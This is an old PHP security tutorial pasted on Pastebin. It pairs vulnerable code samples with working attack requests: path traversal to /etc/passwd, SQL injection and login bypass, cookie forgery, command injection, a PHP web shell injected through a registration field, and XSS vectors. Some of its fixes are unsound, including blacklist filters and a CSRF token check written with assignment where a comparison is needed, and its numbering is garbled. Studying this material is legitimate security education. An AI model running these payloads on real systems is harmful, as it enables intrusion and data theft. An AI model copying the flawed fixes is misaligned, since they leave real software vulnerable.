Advertisement
Guest User

SQL

a guest
Jun 28th, 2015
591
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.34 KB | None | 0 0
  1. Things We Will Cover in This Tutorial Will be:
  2.  
  3.  
  4. Remote File Inclusion
  5. Local File INclusion
  6. Local File Disclosure / Download
  7. Sql Injection
  8. Insecure Cookie Handling
  9. Remote Command Execution
  10. Remote Code Execution
  11. Cross Site Scripting
  12. Authentication Bypass
  13. Inappropirate Permissions
  14. Cross Site Request Forgery
  15.  
  16. [lock]
  17. In this tutorial I will show you how you can find vulnerabilities n Fix in php scripts.I will not explain
  18. how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
  19. examples without the basic example of each category was founded in different scripts.
  20.  
  21. 1) Remote File Inclusion
  22.  
  23.  
  24. - Tips : You can use the NULLBYTE and ? trick.
  25. You can use HTTPS and FTP to bypass filters ( http filtered )
  26.  
  27.  
  28. In PHP is 4 functions through you can include code.
  29.  
  30. require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
  31. require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
  32. include - includes and evaluates the specified file.
  33. include_once - includes and evaluates the specified file during the execution of the script.
  34.  
  35.  
  36. 1.0 - Basic example
  37.  
  38.  
  39. - Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
  40. you can use "https" or "ftp".
  41.  
  42. - Code snippet from test.php
  43.  
  44. -----------------------------------------------
  45.  
  46. Code:
  47. [color=#cc99ff]<?php[/color]
  48. [color=#cc99ff]$pagina=$_GET['pagina'];[/color]
  49. [color=#cc99ff]include $pagina;[/color]
  50. [color=#cc99ff]?>[/color]
  51.  
  52. -----------------------------------------------
  53.  
  54. - If we access the page we got some errors and some warnings( not pasted ) :
  55.  
  56. Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2
  57.  
  58. - We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :
  59.  
  60. http://127.0.0.1/test.php?pagina=http://...script.txt
  61.  
  62. Now I will show why some people use ? and %00 after the link to the evil script.
  63.  
  64. # The "%00"
  65.  
  66. - Code snippet from test.php
  67.  
  68. -----------------------------------------------
  69. <?php
  70. $pagina=$_GET['pagina'];
  71. include $pagina.'.php';
  72. ?>
  73. -----------------------------------------------
  74.  
  75. - So if we will request
  76.  
  77. http://127.0.0.1/test.php?pagina=http://...script.txt
  78.  
  79. Will not work because the script will try to include http://evilsite.com/evilscript.txt.php
  80.  
  81. So we will add a NULLBYTE ( %00 ) and all the shit after nullbyte will not be taken in
  82. consideration.Example :
  83.  
  84. http://127.0.0.1/test.php?pagina=http://...ipt.txt%00
  85.  
  86. The script will successfully include our evilscript and will throw to junk the things
  87. after the nullbyte.
  88.  
  89. # The "?"
  90.  
  91. - Code snippet from test.php
  92.  
  93. -----------------------------------------------
  94. <?php
  95. $pagina=$_GET['pagina'];
  96. include $pagina.'logged=1';
  97. ?>
  98. -----------------------------------------------
  99.  
  100. And the logged=1 will become like a variable.But better use nullbyte.Example :
  101.  
  102. http://127.0.0.1/test.php?pagina=http://...t?logged=1
  103.  
  104. The evilscript will be included succesfully.
  105.  
  106.  
  107. 1.1 - Simple example
  108.  
  109.  
  110. Now an example from a script.
  111.  
  112. - Code snippet from index.php
  113.  
  114. ----------------------------------------------------
  115. if (isset($_REQUEST["main_content"])){
  116. $main_content = $_REQUEST["main_content"];
  117. } else if (isset($_SESSION["main_content"])){
  118. $main_content = $_SESSION["main_content"];
  119. }
  120. .......................etc..................
  121. ob_start();
  122. require_once($main_content);
  123. ----------------------------------------------------
  124.  
  125. We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
  126. set any value that he want. Below the "main_content" variable is include.So if we make the
  127. following request :
  128.  
  129. http://127.0.0.1/index.php?main_content=...script.txt
  130.  
  131. Our evil script will be successfully included.
  132.  
  133.  
  134. 1.2 - How to fix
  135.  
  136.  
  137. Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
  138. Another way : filter "http" , "https" , "ftp" and "smb".
  139.  
  140. 2) Local File Inclusion
  141.  
  142.  
  143. - Tips : You can use the NULLBYTE and ? trick.
  144. ../ mean a directory up
  145. On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).
  146.  
  147. The same functions which let you to include (include,include_once,require,require_once) .
  148.  
  149.  
  150. 2.0 - Basic example
  151.  
  152.  
  153. - Code snippet from test.php
  154.  
  155. -----------------------------------
  156. <?php
  157. $pagina=$_GET['pagina'];
  158. include '/pages/'.$pagina;
  159. ?>
  160. -----------------------------------
  161.  
  162. Now,we can not include our script because we can not include remote files.We can include only
  163. local files as you see.So if we make the following request :
  164.  
  165. http://127.0.0.1/test.php?pagina=../../....etc/passwd
  166.  
  167. The script will include "/pages/../../../../../../etc/passwd" successfully.
  168.  
  169. You can use the %00 and ? .The same story.
  170.  
  171.  
  172. 2.1 - Simple example
  173.  
  174.  
  175. - Code snippet from install/install.php
  176.  
  177. -------------------------------------
  178. if(empty($_GET["url"]))
  179. $url = 'step_welcome.php';
  180. else
  181. $url = $_GET["url"];
  182. .............etc.............
  183. <p><? include('step/'.$url) ?></p>
  184. -------------------------------------
  185.  
  186. We can see that "url" variable is injectable.If the "url" variable is not set
  187. (is empty) the script will include "step_welcome.php" else will include the
  188. variable set by the attacker.
  189.  
  190. So if we do the following request :
  191.  
  192. http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd
  193.  
  194. The "etc/passwd" file will be succesfully included.
  195.  
  196.  
  197.  
  198. 4.2 - How to fix
  199.  
  200.  
  201.  
  202. Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
  203. Another way : Filter "/" , "\" and "." .
  204.  
  205.  
  206. 3) Local File Disclosure/Download
  207.  
  208.  
  209. - Tips : Through this vulnerability you can read the content of files,not include.
  210.  
  211. Some functions which let you to read files :
  212.  
  213. file_get_contents — Reads entire file into a string
  214. readfile — Outputs a file
  215. file — Reads entire file into an array
  216. fopen — Opens file or URL
  217. highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
  218. highlighted version of the code contained in filename using the
  219. colors defined in the built-in syntax highlighter for PHP.
  220. show_source — Alias of highlight_file()
  221.  
  222.  
  223. 3.0 - Basic example
  224.  
  225.  
  226. - Code snippet from test.php
  227.  
  228. --------------------------------------
  229. <?php
  230. $pagina=$_GET['pagina'];
  231. readfile($pagina);
  232. ?>
  233. --------------------------------------
  234.  
  235. The readfile() function will read the content of the specified file.So if we do the following request :
  236.  
  237. http://127.0.0.1/test.php?pagina=../../....etc/passwd
  238.  
  239. The content of etc/passwd will be outputed NOT included.
  240.  
  241.  
  242. 3.1 - Simple example
  243.  
  244.  
  245. - Code snippet from download.php
  246.  
  247. -----------------------------------------------------------------------------------
  248. $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
  249. header("Pragma: public");
  250. header("Expires: 0");
  251. header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
  252.  
  253. header("Content-Type: application/force-download");
  254. header( "Content-Disposition: attachment; filename=".basename($file));
  255.  
  256. //header( "Content-Description: File Transfer");
  257. @readfile($file);
  258. die();
  259. -----------------------------------------------------------------------------------
  260.  
  261. The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
  262. And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
  263. If we make the following request :
  264.  
  265. http://127.0.0.1/download.php?file=../.....etc/passwd
  266.  
  267. So we can succesfully read the "etc/passwd" file.
  268.  
  269.  
  270. 3.2 - How to fix
  271.  
  272.  
  273. Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
  274. Another way : Filter "/" , "\" and "." .
  275.  
  276.  
  277. 4) SQL Injection
  278.  
  279.  
  280. - Tips : If the user have file privileges you can read files.
  281. If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
  282. you can upload you code into a file.
  283.  
  284.  
  285. 4.0 - Basic example
  286.  
  287.  
  288. - Code snippet from test.php
  289.  
  290. ----------------------------------------------------------------------------------
  291. <?php
  292. $id = $_GET['id'];
  293. $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
  294. ?>
  295. ----------------------------------------------------------------------------------
  296.  
  297. The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :
  298.  
  299. http://127.0.0.1/test.php?id=1+union+all...passwd'),4--
  300.  
  301. And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
  302. file privileges.
  303.  
  304.  
  305. 4.1 - Simple example
  306.  
  307.  
  308. - Code snippet from house/listing_view.php
  309.  
  310. -----------------------------------------------------------------------------------------------------------------------------
  311. $id = $_GET['itemnr'];
  312. require_once($home."mysqlinfo.php");
  313. $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
  314. $result = mysql_query($query);
  315. if(mysql_num_rows($result)){
  316. $r = mysql_fetch_array($result);
  317. -----------------------------------------------------------------------------------------------------------------------------
  318.  
  319. We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
  320. So we can inject our code.Lets make a request :
  321.  
  322. http://127.0.0.1/house/listing_view.php?...from+users--
  323.  
  324. And we get the email and the password from the users table.
  325.  
  326.  
  327.  
  328. 4.2 - SQL Injection Login Bypass
  329.  
  330.  
  331. - Code snippet from /admin/login.php
  332.  
  333. ------------------------------------------------------------------------------------------------------------------------------
  334. $postbruger = $_POST['username'];
  335. $postpass = md5($_POST['password']);
  336. $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
  337. or die("<p>" . mysql_error() . "</p>\n");
  338. ------------------------------------------------------------------------------------------------------------------------------
  339.  
  340. The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :
  341.  
  342. username : admin ' or ' 1=1
  343. password : sirgod
  344.  
  345. We logged in.Why?Look,the code will become
  346.  
  347. ---------------------------------------------------------------------------------------------------------------------------------
  348. $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
  349. ---------------------------------------------------------------------------------------------------------------------------------
  350.  
  351. Login bypassed.The username must be an existent username.
  352.  
  353.  
  354. 4.3 - How to fix
  355.  
  356.  
  357. Simple way : Don't allow special chars in variables.For numeric variables
  358. use (int) ,example $id=(int)$_GET['id'];
  359. Another way : For non-numeric variables : filter all special chars used in
  360. SQLI : - , . ( ) ' " _ + / *
  361. Use Mod Security / Firewalls (anyways they can be Bypassed but still sometimes cool)
  362. Or FIlter Your Parameter Like This
  363.  
  364.  
  365. Code:
  366. $unsafe_variable = $_POST["user-input"];
  367. $safe_variable = mysql_real_escape_string($unsafe_variable);
  368.  
  369. mysql_query("INSERT INTO table (column) VALUES ('" . $safe_variable . "')");
  370.  
  371.  
  372.  
  373.  
  374.  
  375. 5) Insecure Cooke Handling
  376.  
  377.  
  378. - Tips : Write the code in the URLbar,don't use a cookie editor for this.
  379.  
  380.  
  381. 5.0 - Basic example
  382.  
  383.  
  384. - Code snippet from test.php
  385.  
  386. ---------------------------------------------------------------
  387. if($_POST['password'] == $thepass) {
  388. setcookie("is_user_logged","1");
  389. } else { die("Login failed!"); }
  390. ............ etc .................
  391. if($_COOKIE['is_user_logged']=="1")
  392. { include "admin.php"; else { die('not logged'); }
  393. ---------------------------------------------------------------
  394.  
  395. Something interesting here.If we set to the "is_user_logged" variable
  396. from cookie value "1" we are logged in.Example :
  397.  
  398. javascript:document.cookie = "is_user_logged=1; path=/";
  399.  
  400. So practically we are logged in,we pass the check and we can access the admin panel.
  401.  
  402.  
  403. 5.1 - Simple example
  404.  
  405.  
  406. - Code snippet from admin.php
  407.  
  408. ----------------------------------------------------------------
  409. if ($_COOKIE[PHPMYBCAdmin] == '') {
  410. if (!$_POST[login] == 'login') {
  411. die("Please Login:<BR><form method=post><input type=password
  412. name=password><input type=hidden value=login name=login><input
  413. type=submit></form>");
  414. } elseif($_POST[password] == $bcadminpass) {
  415. setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
  416. header("Location: admin.php"); } else { die("Incorrect"); }
  417. }
  418. ----------------------------------------------------------------
  419.  
  420. Code looks exploitable.We can set a cookie value that let us to bypass the login
  421. and tell to the script that we are already logged in.Example :
  422.  
  423. javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";
  424.  
  425. What is 1246371700? Is the current time() echo'ed + 360.
  426.  
  427.  
  428. 5.2 - How to fix
  429.  
  430.  
  431.  
  432. Simple way : The most simple and eficient way : use SESSIONS .
  433.  
  434.  
  435. 6) Remote Command Execution
  436.  
  437.  
  438. - Tips : If in script is used exec() you can't see the command output(but the command is executed)
  439. until the result isn't echo'ed from script.
  440. You can use AND operator ( || ) if the script execute more than one command .
  441.  
  442. In PHP are some functions that let you to execute commands :
  443.  
  444. exec — Execute an external program
  445. passthru — Execute an external program and display raw output
  446. shell_exec — Execute command via shell and return the complete output as a string
  447. system — Execute an external program and display the output
  448.  
  449.  
  450. 6.0 - Basic example
  451.  
  452. - Code snippet from test.php
  453.  
  454. ---------------------------------
  455. <?php
  456. $cmd=$_GET['cmd'];
  457. system($cmd);
  458. ?>
  459. ---------------------------------
  460.  
  461. So if we make the following request :
  462.  
  463. http://127.0.0.1/test.php?cmd=whoami
  464.  
  465. The command will be executed and the result will be outputed.
  466.  
  467.  
  468. 6.1 - Simple example
  469.  
  470.  
  471. - Code snippet from dig.php
  472.  
  473. -------------------------------------------------------------------------------------------
  474. $status = $_GET['status'];
  475. $ns = $_GET['ns'];
  476. $host = $_GET['host'];
  477. $query_type = $_GET['query_type']; // ANY, MX, A , etc.
  478. $ip = $_SERVER['REMOTE_ADDR'];
  479. $self = $_SERVER['PHP_SELF'];
  480. ........................ etc ........................
  481. $host = trim($host);
  482. $host = strtolower($host);
  483. echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
  484. echo '<pre>';
  485. system ("dig @$ns $host $query_type");
  486. -------------------------------------------------------------------------------------------
  487.  
  488. The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
  489. that he want through this variable.
  490.  
  491. Lets make a request :
  492.  
  493. http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
  494.  
  495. The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
  496. will not work of course.Lets do something a little bit tricky.We have the AND operator
  497. ( || ) and we will use it to separe the commands.Example :
  498.  
  499. http://127.0.0.1/dig.php?ns=||whoami||&h...us=digging
  500.  
  501. Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".
  502.  
  503.  
  504.  
  505. 6.2 - Advanced example
  506.  
  507.  
  508. - Code snippet from add_reg.php
  509.  
  510. -------------------------------------------------------
  511. $user = $_POST['user'];
  512. $pass1 = $_POST['pass1'];
  513. $pass2 = $_POST['pass2'];
  514. $email1 = $_POST['email1'];
  515. $email2 = $_POST['email2'];
  516. $location = $_POST['location'];
  517. $url = $_POST['url'];
  518. $filename = "./sites/".$user.".php";
  519. ...................etc......................
  520. $html = "<?php
  521. \$regdate = \"$date\";
  522. \$user = \"$user\";
  523. \$pass = \"$pass1\";
  524. \$email = \"$email1\";
  525. \$location = \"$location\";
  526. \$url = \"$url\";
  527. ?>";
  528. $fp = fopen($filename, 'a+');
  529. fputs($fp, $html) or die("Could not open file!");
  530. -------------------------------------------------------
  531.  
  532. We can see that the script creates a php file in "sites" directory( ourusername.php ).
  533. The script save all the user data in that file so we can inject our evil code into one
  534. field,I choose the "location" variable.
  535.  
  536. So if we register as an user with the location (set the "location" value) :
  537.  
  538. <?php system($_GET['cmd']); ?>
  539.  
  540. the code inside sites/ourusername.php will become :
  541.  
  542. -------------------------------------------------
  543. <?php
  544. $regdate = "13 June 2009, 4:16 PM";
  545. $user = "pwned";
  546. $pass = "pwned";
  547. $email = "pwned@yahoo.com";
  548. $location = "<?php system($_GET['cmd']); ?>";
  549. $url = "http://google.ro";
  550. ?>
  551. -------------------------------------------------
  552.  
  553. So we will get an parse error.Not good.We must inject a proper code to get the result that we want.
  554.  
  555. Lets inject this code :
  556.  
  557. \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\"Big Grin
  558.  
  559. So the code inside sites/ourusername.php will become :
  560.  
  561. --------------------------------------------------------------
  562. <?php
  563. $regdate = "13 June 2009, 4:16 PM";
  564. $user = "pwned";
  565. $pass = "pwned";
  566. $email = "pwned@yahoo.com";
  567. $location = "";?><?php system($_GET['cmd']);?><?php $xxx="Big Grin";
  568. $url = "http://google.ro";
  569. ?>
  570. --------------------------------------------------------------
  571.  
  572. and we will have no error.Why?See the code :
  573.  
  574. $location = "";?><?php system($_GET['cmd']);?><?php $xxx="Big Grin";
  575.  
  576. Lets split it :
  577.  
  578. -------------------------------
  579. $location = "";
  580. ?>
  581. <?php system($_GET['cmd']);?>
  582. <?php $xxx="Big Grin";
  583. -------------------------------
  584.  
  585. We set the location value to "",close the first php tags,open the tags
  586. again,wrote our evil code,close the tags and open other and add a variable
  587. "xxx" because we dont want any error.I wrote that code because I want no
  588. error,can be modified to be small but will give some errors(will not
  589. stop us to execute commands but looks ugly).
  590.  
  591. So if we make the following request :
  592.  
  593. http://127.0.0.1/sites/ourusername.php?cmd=whoami
  594.  
  595. And our command will be succesfully executed.
  596.  
  597.  
  598. 6.3 - How to fix
  599.  
  600.  
  601. Simple way : Don't allow user input .
  602. Another way : Use escapeshellarg() and escapeshellcmd() functions .
  603. Example : $cmd=escapeshellarg($_GET'cmd']);
  604.  
  605.  
  606. 7) Remote Code Execution
  607.  
  608.  
  609. - Tips : You must inject valid PHP code including terminating statements ( ; ) .
  610.  
  611.  
  612. 7.0 - Basic example
  613.  
  614.  
  615. - Code snippet from test.php
  616.  
  617. -----------------------------------
  618. <?php
  619. $code=$_GET['code'];
  620. eval($code);
  621. ?>
  622. -----------------------------------
  623.  
  624. The "eval" function evaluate a string as PHP code.So in this case we are able to execute
  625. our PHP code.Examples :
  626.  
  627. http://127.0.0.1/test.php?code=phpinfo();
  628. http://127.0.0.1/test.php?code=system(whoami);
  629.  
  630. And we will see the output of the PHP code injected by us.
  631.  
  632.  
  633. 7.1 - Simple example
  634.  
  635.  
  636. - Code snippet from system/services/init.php
  637.  
  638. ------------------------------------------------
  639. $conf = array_merge($conf,$confweb);
  640. }
  641. @eval(stripslashes($_REQUEST['anticode']));
  642. if ( $_SERVER['HTTP_CLIENT_IP'] )
  643. ------------------------------------------------
  644.  
  645. We see that the "anticode" is requested by $_REQUEST method and the coder
  646. "secured" the input with "stripslashes" which is useless here,we don't need
  647. slashes to execute our php code only if we want to include a URL.So we can
  648. inject our PHP code.Example :
  649.  
  650. http://127.0.0.1/test.php?anticode=phpinfo();
  651.  
  652. Great,injection done,phpinfo() result printed.No include because slashes are
  653. removed,but we can use system() or another function to execute commands.
  654.  
  655.  
  656. 7.2 - How to fix
  657.  
  658.  
  659. Simple way : Don't allow ";" and the PHP code will be invalid.
  660. Another way : Don't allow any special char like "(" or ")" etc.
  661.  
  662.  
  663.  
  664. 8) Cross-Site Scripting
  665.  
  666.  
  667. - Tips : You can use alot of vectors,can try alot of bypass methods,you cand
  668. find them around the web.
  669.  
  670.  
  671. 8.0 - Basic example
  672.  
  673.  
  674.  
  675. - Code snippet from test.php
  676.  
  677. ---------------------------------
  678. <?php
  679. $name=$_GET['name'];
  680. print $name;
  681. ?>
  682. ---------------------------------
  683.  
  684. The input is not filtered,an attacker can inject JavaScript code.Example :
  685.  
  686. http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
  687.  
  688. A popup with XSS message will be displayed.JavaScript code succesfully executed.
  689.  
  690.  
  691. 8.1 - Another example
  692.  
  693.  
  694. - Code snippet from test.php
  695.  
  696. -------------------------------------------
  697. <?php
  698. $name=addslashes($_GET['name']);
  699. print '<table name="'.$name.'"></table>';
  700. ?>
  701. -------------------------------------------
  702.  
  703. Not an advanced example,only a bit complicated.
  704.  
  705. http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
  706.  
  707. Why this vector?We put " because we must close the " from the "name" atribut
  708. of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
  709. we want to bypass addslashes() function.Injection done.
  710.  
  711.  
  712.  
  713. 8.2 - Simple example
  714.  
  715.  
  716. - Code snippet from modules.php
  717.  
  718. ---------------------------------------------------------------------------
  719. if (isset($name)) {
  720. .................... etc................
  721. } else {
  722. die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
  723. ---------------------------------------------------------------------------
  724.  
  725. The "name" variable is injectable,input is not filtered,so we can inject
  726. with ease JavaScript code.Example :
  727.  
  728. http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
  729.  
  730.  
  731. 8.3 - How to fix
  732.  
  733.  
  734. Simple way : Use htmlentities() or htmlspecialchars() functions.
  735. Example : $name=htmlentities($_GET['name']);
  736. Another way : Filter all special chars used for XSS ( a lot ).
  737. The best way is the first method.
  738.  
  739.  
  740. 9) Authentication Bypass
  741.  
  742.  
  743. - Tips : Look deep in the scripts,look in the admin directories,
  744. maybe are not protected,also look for undefined variables
  745. like "login" or "auth".
  746.  
  747.  
  748. 9.0 - Basic example
  749.  
  750.  
  751. I will provide a simple example of authentication bypass
  752. via login variable.
  753.  
  754. - Code snippet from test.php
  755.  
  756. ---------------------------------
  757. <?php
  758. if ($logged==true) {
  759. echo 'Logged in.'; }
  760. else {
  761. print 'Not logged in.';
  762. }
  763. ?>
  764. ---------------------------------
  765.  
  766. Here we need register_gloabals = on . I will talk about php.ini
  767. settings a bit later in this tutorial.If we set the value of $logged
  768. variable to 1 the if condition will be true and we are logged in.
  769. Example :
  770.  
  771. http://127.0.0.1/test/php?logged=1
  772.  
  773. And we are logged in.
  774.  
  775.  
  776. 11.1 - Via login variable
  777.  
  778.  
  779. - Code snippet from login.php
  780.  
  781. ------------------------------------------------------------------------------------
  782. if ($login_ok)
  783. {
  784. $_SESSION['loggato'] = true;
  785. echo "<p>$txt_pass_ok</p>";
  786. echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
  787. <a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
  788. </a></div>";
  789. }
  790. ------------------------------------------------------------------------------------
  791.  
  792. Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
  793. tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
  794. Example :
  795.  
  796. http://127.0.0.1/login.php?login_ok=1
  797.  
  798. Now we are logged in.
  799.  
  800.  
  801. 9.2 - Unprotected Admin CP
  802.  
  803.  
  804. You couln't belive this but some PHP scrips don't protect the admin
  805. control panel : no login,no .htaccess,nothing.So we simply we go to
  806. the admin panel directory and we take the control of the website.
  807. Example :
  808.  
  809. http://127.0.0.1/admin/files.php
  810.  
  811. We accessed the admin panel with a simple request.
  812.  
  813.  
  814. 9.3 - How to fix
  815.  
  816.  
  817. - Login variable bypass : Use a REAL authentication system,don't check the
  818. login like that,use SESSION verification.Example :
  819.  
  820. if($_SESSION['logged']==1) {
  821. echo 'Logged in'; }
  822. else { echo 'Not logged in';
  823. }
  824.  
  825. - Unprotected Admin CP : Use an authentication system or use .htaccess to
  826. allow access from specific IP's or .htpasswd to
  827. request an username and a password for admin CP.
  828. Example :
  829.  
  830. .htaccess :
  831.  
  832. order deny, allow
  833. deny from all
  834. allow from 127.0.0.1
  835.  
  836. .htpasswd :
  837.  
  838. AuthUserFile /the/path/.htpasswd
  839. AuthType Basic
  840. AuthName "Admin CP"
  841. Require valid-user
  842.  
  843. and /the/path/.htpasswd
  844.  
  845. sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
  846.  
  847.  
  848. 10) Insecure Permissions
  849.  
  850.  
  851. Tips : Look deep into the files,look if the script request to be
  852. logged in to do something,maybe the script don't request.
  853. Watch out for insecure permissions,maybe you can do admin
  854. things without login.
  855.  
  856.  
  857. 10.0 - Basic example
  858.  
  859.  
  860. We are thinking at a script who let the admin to have a lookup in
  861. the users database through a file placed in /admin directory.That
  862. file is named...hmmm : db_lookup.php.
  863.  
  864. - Code snippet from admin/db_lookup.php
  865.  
  866. --------------------------------------------
  867. <?php
  868. // Lookup in the database
  869. readfile('protected/usersdb.txt');
  870. ?>
  871. --------------------------------------------
  872.  
  873. Lets think.We cannot access the "protected" directory because
  874. is .htaccess'ed.But look at this file,no logged-in check,nothing.
  875. So if we acces :
  876.  
  877. http://127.0.0.1/admin/db_lookup.php
  878.  
  879. We can see the database.Remember,this is only an example created by
  880. me,not a real one,you can find this kind of vulnerabilities in scripts.
  881.  
  882.  
  883. 10.1 - Read the users/passwords
  884.  
  885.  
  886.  
  887. Oh yeah,some coders are so stupid.They save the usernames and passwords
  888. in text files,UNPROTECTED.A simple example from a script :
  889.  
  890. http://127.0.0.1/userpwd.txt
  891.  
  892. And we read the file,the usernames and passwords are there.
  893.  
  894.  
  895. 10.2 - Download Backups
  896.  
  897.  
  898. Some scripts have database backup functions,some are safe,some are not safe.
  899. I will show you a real script example :
  900.  
  901. - Code snippet from /adminpanel/phpmydump.php
  902.  
  903. --------------------------------------------------------------------------------
  904. function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
  905. $con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
  906. $db=@mysql_select_db($dbname,$con) or die("Could not select db");
  907. .............................. etc ..........................
  908. mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
  909. --------------------------------------------------------------------------------
  910.  
  911. After a lof of code the function is called.I don't pasted the entire code
  912. because is huge.I analyzed the script,no login required,no check,nothing.So
  913. if we access the file directly the download of the backup will start.Example :
  914.  
  915. http://127.0.0.1/adminpanel/phpmydump.php
  916.  
  917. Now we have the database backup saved in our computer.
  918.  
  919.  
  920.  
  921. 10.3 - INC files
  922.  
  923.  
  924.  
  925. Some scripts saves important data in INC files.Usually in INC files is PHP
  926. code containing database configuration.The INC files can be viewed in
  927. browser even they contain PHP code.So a simple request will be enough to
  928. access and read the file.Example :
  929.  
  930. http://127.0.0.1/inc/mysql.inc
  931.  
  932. Now we have the database connection details.Look deep in scripts,is more
  933. scripts who saves important data into INC files.
  934.  
  935.  
  936. 10.4 - How to fix
  937.  
  938.  
  939. - Basic example : Check if the admin is logged in,if not,redirect.
  940.  
  941. - Read the users/passwords : Save the records in a MySQL database
  942. or in a protected file/directory.
  943.  
  944. - Download Backups : Check if the admin is logged in,if not,redirect.
  945.  
  946. - INC files : Save the configuration in proper files,like .php or
  947. protect the directory with an .htaccess file.
  948.  
  949.  
  950. 11) Cross Site Request Forgery
  951.  
  952.  
  953. - Tips : Through CSRF you can change the admin password,is not
  954. so inofensive.
  955. Can be used with XSS,redirected from XSS.
  956.  
  957.  
  958. 13.0 - Basic example
  959.  
  960.  
  961. - Code snippet from test.php
  962.  
  963. -----------------------------------------
  964. <?php
  965. check_auth();
  966. if(isset($_GET['news']))
  967. { unlink('files/news'.$news.'.txt'); }
  968. else {
  969. die('File not deleted'); }
  970. ?>
  971. -----------------------------------------
  972.  
  973. In this example you will see what is CSRF and how it works.In the "files"
  974. directory are saved the news written by the author.The news are saved like
  975. "news1.txt","news2.txt" etc. So the admin can delete the news.The news that
  976. he want to delete will be specified in "news" variable.If he want to delete
  977. the news1.txt the value of "news" will be "1".We cannot execute this without
  978. admin permissions,look,the script check if we are logged in.
  979. I will show you an example.If we request :
  980.  
  981. http://127.0.0.1/test.php?news=1
  982.  
  983. The /news/news1.txt file will be deleted.The script directly delete the file
  984. without any notice.So we can use this to delete a file.All we need is to trick
  985. the admin to click our evil link and the file specified by us in the "news"
  986. variable will be deleted.
  987.  
  988.  
  989. 11.1 - Simple example
  990.  
  991.  
  992.  
  993. In a way the codes below are included in the index.php file ,I
  994. will not paste all the includes,there are a lot.
  995.  
  996. - Code snippet from includes/pages/admin.php
  997.  
  998. --------------------------------------------------------------------
  999. if ($_GET['act'] == '') {
  1000. include "includes/pages/admin/home.php";
  1001. } else {
  1002. include "includes/pages/admin/" . $_GET['act'] . ".php";
  1003. --------------------------------------------------------------------
  1004.  
  1005. Here we can see how the "includes/pages/admin/members.php" is included in
  1006. this file.If "act=members" the file below will be included.
  1007.  
  1008.  
  1009. - Code snippet from includes/pages/admin/members.php
  1010.  
  1011. ----------------------------------------------------------------------------------------------
  1012. if ($_GET['func'] == 'delete') {
  1013. $del_id = $_GET['id'];
  1014. $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
  1015. $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
  1016. while ($results2121 = mysql_fetch_array($result2121)) {
  1017. $their_role = $results2121['ROLE'];
  1018. }
  1019. if ($their_role != '1') {
  1020. mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
  1021. ());
  1022. ----------------------------------------------------------------------------------------------
  1023.  
  1024. We can see here that if "func=delete" will be called by URL,the script will
  1025. delete from the database a user with the specified ID ( $id ) without any
  1026. confirmation.Example :
  1027.  
  1028. http://127.0.0.1/index.php?page=admin&ac...elete&id=4
  1029.  
  1030. The script check if the admin is logged in so if we trick the admin to click
  1031. our evil link the user who have the specified ID in the database will be deleted
  1032. without any confirmation.
  1033.  
  1034.  
  1035. 11.2 - How to fix
  1036.  
  1037.  
  1038. - Simple way : Use tokens.At each login,generate a random token and save it
  1039. in the session.Request the token in URL to do administrative
  1040. actions,if the token missing or is wrong,don't execute the
  1041. action.I will show you only how to to check if the token
  1042. is present and is correct.Example :
  1043.  
  1044. -------------------------------------------------------
  1045. <?php
  1046. check_auth();
  1047. if(isset($_GET['news']) && $token=$_SESSION['token'])
  1048. { unlink('files/news'.$news.'.txt'); }
  1049. else {
  1050. die('Error.'); }
  1051. ?>
